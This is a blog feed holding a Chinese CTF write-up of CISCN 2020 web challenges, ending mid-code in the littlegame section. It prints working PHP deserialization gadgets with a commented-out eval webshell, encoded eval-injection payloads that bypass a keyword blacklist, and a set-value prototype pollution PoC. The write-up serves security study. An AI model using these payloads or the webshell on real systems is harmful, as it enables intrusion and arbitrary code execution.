<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>J0k3r&#39;s Blog</title>
  
  <subtitle>Stay Hungry Stay Foolish</subtitle>
  <link href="/atom.xml" rel="self"/>
  
  <link href="http://j0k3r.top/"/>
  <updated>2020-09-28T06:45:44.180Z</updated>
  <id>http://j0k3r.top/</id>
  
  <author>
    <name>J0k3r</name>
    
  </author>
  
  <generator uri="http://hexo.io/">Hexo</generator>
  
  <entry>
    <title>CISCN 2020 第十三届全国大学生信息安全竞赛 初赛 WEB Writeup</title>
    <link href="http://j0k3r.top/2020/08/25/CISCN-2020/"/>
    <id>http://j0k3r.top/2020/08/25/CISCN-2020/</id>
    <published>2020-08-24T16:00:00.000Z</published>
    <updated>2020-09-28T06:45:44.180Z</updated>
    
    <content type="html"><![CDATA[<p>WEB 部分</p><a id="more"></a><h1 id="easyphp"><a href="#easyphp" class="headerlink" title="easyphp"></a>easyphp</h1><p>题目代码：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">    <span class="comment">//题目环境：php:7.4.8-apache</span></span><br><span class="line">    $pid = pcntl_fork();</span><br><span class="line">    <span class="keyword">if</span> ($pid == <span class="number">-1</span>) &#123;</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">'could not fork'</span>);</span><br><span class="line">    &#125;<span class="keyword">else</span> <span class="keyword">if</span> ($pid)&#123;</span><br><span class="line">        $r=pcntl_wait($status);</span><br><span class="line">        <span class="keyword">if</span>(!pcntl_wifexited($status))&#123;</span><br><span class="line">            phpinfo();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">        highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">        <span class="keyword">if</span>(<span class="keyword">isset</span>($_GET[<span class="string">'a'</span>])&amp;&amp;is_string($_GET[<span class="string">'a'</span>])&amp;&amp;!preg_match(<span class="string">"/[:\\\\]|exec|pcntl/i"</span>,$_GET[<span class="string">'a'</span>]))&#123;</span><br><span class="line">            call_user_func_array($_GET[<span class="string">'a'</span>],[$_GET[<span class="string">'b'</span>],<span class="keyword">false</span>,<span class="keyword">true</span>]);</span><br><span class="line">        &#125;</span><br><span class="line">        posix_kill(posix_getpid(), SIGUSR1);</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>应该是通过 <code>call_user_func_array</code> 执行函数让 fork 程序异常退出，以此执行 phpinfo()，先生成所有内部定义的函数</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line">$func_arr = get_defined_functions()[<span class="string">'internal'</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> ($i = <span class="number">0</span>; $i &lt; sizeof($func_arr); $i ++)&#123;</span><br><span class="line">file_put_contents(<span class="string">"./func.txt"</span>, $func_arr[$i].<span class="string">"\n"</span>,FILE_APPEND);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用 Burp 跑一下</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/CISCN-2020-1.assets/image-20200820224534624.png" alt="image-20200820224534624"></p><p>满足条件的有多个函数</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/CISCN-2020-1.assets/image-20200820224723810.png" alt="image-20200820224723810"></p><p>任取一个即可获取 flag</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/CISCN-2020-1.assets/image-20200820224756439.png" alt="image-20200820224756439"></p><p>flag{2a37f414-418f-4dd6-8981-a4ecf0e71a39}</p><hr><h1 id="babyunserialize"><a href="#babyunserialize" class="headerlink" title="babyunserialize"></a>babyunserialize</h1><p>扫目录发现源码</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/CISCN-2020-1.assets/image-20200820132539583.png" alt="image-20200820132539583"></p><p>composer 安装依赖</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/CISCN-2020-1.assets/image-20200820132711098.png" alt="image-20200820132711098"></p><p>代码审计，找下 <code>__destruct</code> 入口点</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/CISCN-2020-1.assets/image-20200820142112612.png" alt="image-20200820142112612"></p><p>可以利用 jig 的 write 方法写文件，比较简单，控制 lazy、data、dir 三个变量即可</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">write</span><span class="params">($file,array $data=NULL)</span> </span>&#123;</span><br><span class="line"><span class="keyword">if</span> (!<span class="keyword">$this</span>-&gt;dir || <span class="keyword">$this</span>-&gt;lazy)</span><br><span class="line"><span class="keyword">return</span> count(<span class="keyword">$this</span>-&gt;data[$file]=$data);</span><br><span class="line">$fw=\Base::instance();</span><br><span class="line"><span class="keyword">switch</span> (<span class="keyword">$this</span>-&gt;format) &#123;</span><br><span class="line"><span class="keyword">case</span> <span class="keyword">self</span>::FORMAT_JSON:</span><br><span class="line">$out=json_encode($data,JSON_PRETTY_PRINT);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"><span class="keyword">case</span> <span class="keyword">self</span>::FORMAT_Serialized:</span><br><span class="line">$out=$fw-&gt;serialize($data);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> $fw-&gt;write(<span class="keyword">$this</span>-&gt;dir.$file,$out);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">write</span><span class="params">($file,$data,$append=FALSE)</span> </span>&#123;</span><br><span class="line"><span class="keyword">return</span> file_put_contents($file,$data,<span class="keyword">$this</span>-&gt;hive[<span class="string">'LOCK'</span>]|($append?FILE_APPEND:<span class="number">0</span>));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>脚本:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">DB</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">//! In-memory/flat-file DB wrapper</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Jig</span> </span>&#123;</span><br><span class="line">    <span class="keyword">protected</span></span><br><span class="line">        <span class="comment">//! UUID</span></span><br><span class="line">        $uuid,</span><br><span class="line">        <span class="comment">//! Storage location</span></span><br><span class="line">        $dir,</span><br><span class="line">        <span class="comment">//! Current storage format</span></span><br><span class="line">        $format,</span><br><span class="line">        <span class="comment">//! Jig log</span></span><br><span class="line">        $log,</span><br><span class="line">        <span class="comment">//! Memory-held data</span></span><br><span class="line">        $data,</span><br><span class="line">        <span class="comment">//! lazy load/save files</span></span><br><span class="line">        $lazy;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span> </span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;lazy = <span class="keyword">TRUE</span>;</span><br><span class="line">        <span class="comment">/*$this-&gt;data = ['test.php'=&gt;['&lt;?php <span class="doctag">@eval</span>($_REQUEST[1]); ?&gt;']];*/</span></span><br><span class="line">        <span class="keyword">$this</span>-&gt;data = [<span class="string">'test2.php'</span>=&gt;[<span class="string">'&lt;?php phpinfo(); ?&gt;'</span>]];</span><br><span class="line">        <span class="keyword">$this</span>-&gt;dir = <span class="string">'./'</span>;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> urlencode(serialize(<span class="keyword">new</span> Jig()));</span><br></pre></td></tr></table></figure><p>生成 exp <code>O%3A6%3A%22DB%5CJig%22%3A6%3A%7Bs%3A7%3A%22%00%2A%00uuid%22%3BN%3Bs%3A6%3A%22%00%2A%00dir%22%3Bs%3A2%3A%22.%2F%22%3Bs%3A9%3A%22%00%2A%00format%22%3BN%3Bs%3A6%3A%22%00%2A%00log%22%3BN%3Bs%3A7%3A%22%00%2A%00data%22%3Ba%3A1%3A%7Bs%3A9%3A%22test2.php%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A19%3A%22%3C%3Fphp+phpinfo%28%29%3B+%3F%3E%22%3B%7D%7Ds%3A7%3A%22%00%2A%00lazy%22%3Bb%3A1%3B%7D</code></p><p>成功写入 test2.php ，访问 phpinfo，能够找到 flag</p><p>flag{c1019337-2bc8-4d02-9031-3edadf522f83}</p><h1 id="rceme"><a href="#rceme" class="headerlink" title="rceme"></a>rceme</h1><p>代码如下：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">parserIfLabel($_GET[<span class="string">'a'</span>]);</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">danger_key</span><span class="params">($s)</span> </span>&#123;</span><br><span class="line">    $s=htmlspecialchars($s);</span><br><span class="line">    $key=<span class="keyword">array</span>(<span class="string">'php'</span>,<span class="string">'preg'</span>,<span class="string">'server'</span>,<span class="string">'chr'</span>,<span class="string">'decode'</span>,<span class="string">'html'</span>,<span class="string">'md5'</span>,<span class="string">'post'</span>,<span class="string">'get'</span>,<span class="string">'request'</span>,<span class="string">'file'</span>,<span class="string">'cookie'</span>,<span class="string">'session'</span>,<span class="string">'sql'</span>,<span class="string">'mkdir'</span>,<span class="string">'copy'</span>,<span class="string">'fwrite'</span>,<span class="string">'del'</span>,<span class="string">'encrypt'</span>,<span class="string">'$'</span>,<span class="string">'system'</span>,<span class="string">'exec'</span>,<span class="string">'shell'</span>,<span class="string">'open'</span>,<span class="string">'ini_'</span>,<span class="string">'chroot'</span>,<span class="string">'eval'</span>,<span class="string">'passthru'</span>,<span class="string">'include'</span>,<span class="string">'require'</span>,<span class="string">'assert'</span>,<span class="string">'union'</span>,<span class="string">'create'</span>,<span class="string">'func'</span>,<span class="string">'symlink'</span>,<span class="string">'sleep'</span>,<span class="string">'ord'</span>,<span class="string">'str'</span>,<span class="string">'source'</span>,<span class="string">'rev'</span>,<span class="string">'base_convert'</span>);</span><br><span class="line">    $s = str_ireplace($key,<span class="string">"*"</span>,$s);</span><br><span class="line">    $danger=<span class="keyword">array</span>(<span class="string">'php'</span>,<span class="string">'preg'</span>,<span class="string">'server'</span>,<span class="string">'chr'</span>,<span class="string">'decode'</span>,<span class="string">'html'</span>,<span class="string">'md5'</span>,<span class="string">'post'</span>,<span class="string">'get'</span>,<span class="string">'request'</span>,<span class="string">'file'</span>,<span class="string">'cookie'</span>,<span class="string">'session'</span>,<span class="string">'sql'</span>,<span class="string">'mkdir'</span>,<span class="string">'copy'</span>,<span class="string">'fwrite'</span>,<span class="string">'del'</span>,<span class="string">'encrypt'</span>,<span class="string">'$'</span>,<span class="string">'system'</span>,<span class="string">'exec'</span>,<span class="string">'shell'</span>,<span class="string">'open'</span>,<span class="string">'ini_'</span>,<span class="string">'chroot'</span>,<span class="string">'eval'</span>,<span class="string">'passthru'</span>,<span class="string">'include'</span>,<span class="string">'require'</span>,<span class="string">'assert'</span>,<span class="string">'union'</span>,<span class="string">'create'</span>,<span class="string">'func'</span>,<span class="string">'symlink'</span>,<span class="string">'sleep'</span>,<span class="string">'ord'</span>,<span class="string">'str'</span>,<span class="string">'source'</span>,<span class="string">'rev'</span>,<span class="string">'base_convert'</span>);</span><br><span class="line">    <span class="keyword">foreach</span> ($danger <span class="keyword">as</span> $val)&#123;</span><br><span class="line">        <span class="keyword">if</span>(strpos($s,$val) !==<span class="keyword">false</span>)&#123;</span><br><span class="line">            <span class="keyword">die</span>(<span class="string">'很抱歉，执行出错，发现危险字符【'</span>.$val.<span class="string">'】'</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span>(preg_match(<span class="string">"/^[a-z]$/i"</span>))&#123;</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">'很抱歉，执行出错，发现危险字符'</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> $s;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">parserIfLabel</span><span class="params">( $content )</span> </span>&#123;</span><br><span class="line">    $pattern = <span class="string">'/\&#123;if:([\s\S]+?)&#125;([\s\S]*?)&#123;end\s+if&#125;/'</span>;</span><br><span class="line">    <span class="keyword">if</span> ( preg_match_all( $pattern, $content, $matches ) ) &#123;</span><br><span class="line">        $count = count( $matches[ <span class="number">0</span> ] );</span><br><span class="line">        <span class="keyword">for</span> ( $i = <span class="number">0</span>; $i &lt; $count; $i++ ) &#123;</span><br><span class="line">            $flag = <span class="string">''</span>;</span><br><span class="line">            $out_html = <span class="string">''</span>;</span><br><span class="line">            $ifstr = $matches[ <span class="number">1</span> ][ $i ];</span><br><span class="line">            $ifstr=danger_key($ifstr,<span class="number">1</span>);</span><br><span class="line">            <span class="keyword">if</span>(strpos($ifstr,<span class="string">'='</span>) !== <span class="keyword">false</span>)&#123;</span><br><span class="line">                $arr= splits($ifstr,<span class="string">'='</span>);</span><br><span class="line">                <span class="keyword">if</span>($arr[<span class="number">0</span>]==<span class="string">''</span> || $arr[<span class="number">1</span>]==<span class="string">''</span>)&#123;</span><br><span class="line">                    <span class="keyword">die</span>(<span class="string">'很抱歉，模板中有错误的判断,请修正【'</span>.$ifstr.<span class="string">'】'</span>);</span><br><span class="line">                &#125;</span><br><span class="line">                $ifstr = str_replace( <span class="string">'='</span>, <span class="string">'=='</span>, $ifstr );</span><br><span class="line">            &#125;</span><br><span class="line">            $ifstr = str_replace( <span class="string">'&lt;&gt;'</span>, <span class="string">'!='</span>, $ifstr );</span><br><span class="line">            $ifstr = str_replace( <span class="string">'or'</span>, <span class="string">'||'</span>, $ifstr );</span><br><span class="line">            $ifstr = str_replace( <span class="string">'and'</span>, <span class="string">'&amp;&amp;'</span>, $ifstr );</span><br><span class="line">            $ifstr = str_replace( <span class="string">'mod'</span>, <span class="string">'%'</span>, $ifstr );</span><br><span class="line">            $ifstr = str_replace( <span class="string">'not'</span>, <span class="string">'!'</span>, $ifstr );</span><br><span class="line">            <span class="keyword">if</span> ( preg_match( <span class="string">'/\&#123;|&#125;/'</span>, $ifstr)) &#123;</span><br><span class="line">                <span class="keyword">die</span>(<span class="string">'很抱歉，模板中有错误的判断,请修正'</span>.$ifstr);</span><br><span class="line">            &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">                @<span class="keyword">eval</span>( <span class="string">'if('</span> . $ifstr . <span class="string">')&#123;$flag="if";&#125;else&#123;$flag="else";&#125;'</span> );</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> ( preg_match( <span class="string">'/([\s\S]*)?\&#123;else\&#125;([\s\S]*)?/'</span>, $matches[ <span class="number">2</span> ][ $i ], $matches2 ) ) &#123;</span><br><span class="line">                <span class="keyword">switch</span> ( $flag ) &#123;</span><br><span class="line">                    <span class="keyword">case</span> <span class="string">'if'</span>:</span><br><span class="line">                        <span class="keyword">if</span> ( <span class="keyword">isset</span>( $matches2[ <span class="number">1</span> ] ) ) &#123;</span><br><span class="line">                            $out_html .= $matches2[ <span class="number">1</span> ];</span><br><span class="line">                        &#125;</span><br><span class="line">                        <span class="keyword">break</span>;</span><br><span class="line">                    <span class="keyword">case</span> <span class="string">'else'</span>:</span><br><span class="line">                        <span class="keyword">if</span> ( <span class="keyword">isset</span>( $matches2[ <span class="number">2</span> ] ) ) &#123;</span><br><span class="line">                            $out_html .= $matches2[ <span class="number">2</span> ];</span><br><span class="line">                        &#125;</span><br><span class="line">                        <span class="keyword">break</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125; <span class="keyword">elseif</span> ( $flag == <span class="string">'if'</span> ) &#123;</span><br><span class="line">                $out_html .= $matches[ <span class="number">2</span> ][ $i ];</span><br><span class="line">            &#125;</span><br><span class="line">            $pattern2 = <span class="string">'/\&#123;if([0-9]):/'</span>;</span><br><span class="line">            <span class="keyword">if</span> ( preg_match( $pattern2, $out_html, $matches3 ) ) &#123;</span><br><span class="line">                $out_html = str_replace( <span class="string">'&#123;if'</span> . $matches3[ <span class="number">1</span> ], <span class="string">'&#123;if'</span>, $out_html );</span><br><span class="line">                $out_html = str_replace( <span class="string">'&#123;else'</span> . $matches3[ <span class="number">1</span> ] . <span class="string">'&#125;'</span>, <span class="string">'&#123;else&#125;'</span>, $out_html );</span><br><span class="line">                $out_html = str_replace( <span class="string">'&#123;end if'</span> . $matches3[ <span class="number">1</span> ] . <span class="string">'&#125;'</span>, <span class="string">'&#123;end if&#125;'</span>, $out_html );</span><br><span class="line">                $out_html = <span class="keyword">$this</span>-&gt;parserIfLabel( $out_html );</span><br><span class="line">            &#125;</span><br><span class="line">            $content = str_replace( $matches[ <span class="number">0</span> ][ $i ], $out_html, $content );</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> $content;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">splits</span><span class="params">( $s, $str=<span class="string">','</span> )</span> </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> ( <span class="keyword">empty</span>( $s ) ) <span class="keyword">return</span> <span class="keyword">array</span>( <span class="string">''</span> );</span><br><span class="line">    <span class="keyword">if</span> ( strpos( $s, $str ) !== <span class="keyword">false</span> ) &#123;</span><br><span class="line">        <span class="keyword">return</span> explode( $str, $s );</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">array</span>( $s );</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>题目代码貌似 zzzphpV1.6.1 漏洞代码改的吧，网上有关文章：<a href="https://www.cnblogs.com/lovequitepcs/p/12842482.html" target="_blank" rel="noopener">https://www.cnblogs.com/lovequitepcs/p/12842482.html</a></p><p>本地测试可以直接用网上的 paylaod，只不过题目有黑名单罢了，都能执行 php 代码了，黑名单也只是简单的字符判断</p><p>利用 php 动态执行特性 bypass 或者 无字母数字 执行 php 代码即可，网上文章很多</p><p>构造一个 phpinfo</p><p>直接使用 <a href="https://www.cnblogs.com/BOHB-yunying/p/11520031.html" target="_blank" rel="noopener">https://www.cnblogs.com/BOHB-yunying/p/11520031.html</a> 中的 paylaod</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://eci-2ze6s45xk2o36vtz4e0k.cloudeci1.ichunqiu.com/?a=%7Bif%3A1)(AYAYYRY%5Etrim(((((!!a%2B!!a))**((!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a%2B!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a))))))()%3B%3B%2F%2F%7D%7Bend%20if%7D</span><br></pre></td></tr></table></figure><p>拿到 flag</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/CISCN-2020-1.assets/image-20200820150426222.png" alt="image-20200820150426222"></p><p>或者是 </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://eci-2ze6s45xk2o36vtz4e0k.cloudeci1.ichunqiu.com/?a=%7Bif%3A1)(&apos;p&apos;.&apos;h&apos;.&apos;p&apos;.&apos;i&apos;.&apos;n&apos;.&apos;f&apos;.&apos;o&apos;)()%3B%2F%2F%7D%7Bend%20if%7D</span><br></pre></td></tr></table></figure><p>同样执行 phpinfo</p><p>flag{c7566bbb-27e5-490f-aa21-d65ef265d35d}</p><hr><h1 id="littlegame"><a href="#littlegame" class="headerlink" title="littlegame"></a>littlegame</h1><p>下载附件，npm install 更新下依赖</p><p>js 代码审计，package.json 先看看 dependencies</p><p><a href="https://snyk.io/vuln/SNYK-JS-SETVALUE-450213" target="_blank" rel="noopener">https://snyk.io/vuln/SNYK-JS-SETVALUE-450213</a> 能找到 <code>&quot;set-value&quot;: &quot;^3.0.0&quot;</code> 的原型链污染</p><p>漏洞 POC</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> setFn = <span class="built_in">require</span>(<span class="string">'set-value'</span>); </span><br><span class="line"><span class="keyword">const</span> paths = [ <span class="string">'constructor.prototype.a0'</span>, <span class="string">'__proto__.a1'</span>, ]; </span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">check</span>(<span class="params"></span>) </span>&#123; </span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">const</span> p <span class="keyword">of</span> paths) &#123; </span><br><span class="line">        setFn(&#123;&#125;, p, <span class="literal">true</span>); </span><br><span class="line">    &#125; </span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; paths.length; i++) &#123; </span><br><span class="line">        <span class="keyword">if</span> ((&#123;&#125;)[<span class="string">`a<span class="subst">$&#123;i&#125;</span>`</span>] === <span class="literal">true</span>) &#123; </span><br><span class="line">            <span class="built_in">console</span>.log(<span class="string">`Yes with <span class="subst">$&#123;paths[i]&#125;</span>`</span>); </span><br><span class="line">        &#125; </span><br><span class="line">    &#125; </span><br><span class="line">&#125; </span><br><span class="line">check();</span><br></pre></td></tr></table></figure><p>再看看 routes/index.js 关键代码</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> setFn = <span class="built_in">require</span>(<span class="string">'set-value'</span>);</span><br><span class="line"></span><br><span class="line"> ......</span><br><span class="line"> </span><br><span class="line"> router.post(<span class="string">"/Privilege"</span>, <span class="function"><span class="keyword">function</span> (<span class="params">req, res, next</span>) </span>&#123;</span><br><span class="line">    <span class="comment">// Why not ask witch for help?</span></span><br><span class="line">    <span class="keyword">if</span>(req.session.knight === <span class="literal">undefined</span>)&#123;</span><br><span class="line">        res.redirect(<span class="string">'/SpawnPoint'</span>);</span><br><span class="line">    &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">        <span class="keyword">if</span> (req.body.NewAttributeKey === <span class="literal">undefined</span> || req.body.NewAttributeValue === <span class="literal">undefined</span>) &#123;</span><br><span class="line">            res.send(<span class="string">"What's your problem?"</span>);</span><br><span class="line">        &#125;<span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">let</span> key = req.body.NewAttributeKey.toString();</span><br><span class="line">            <span class="keyword">let</span> value = req.body.NewAttributeValue.toString();</span><br><span class="line">            setFn(req.session.knight, key, value);</span><br><span class="line">            res.send(<span class="string">"Let's have a check!"</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p>同样是 setFn，也符合 poc 的利用条件，在看获取 flag 路由定义，Admin 的 password 是不知道的</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">router.post(<span class="string">"/DeveloperControlPanel"</span>, <span class="function"><span class="keyword">function</span> (<span class="params">req, res, next</span>) </span>&#123;</span><br><span class="line">    <span class="comment">// not implement</span></span><br><span class="line">    <span class="keyword">if</span> (req.body.key === <span class="literal">undefined</span> || req.body.password === <span class="literal">undefined</span>)&#123;</span><br><span class="line">        res.send(<span class="string">"What's your problem?"</span>);</span><br><span class="line">    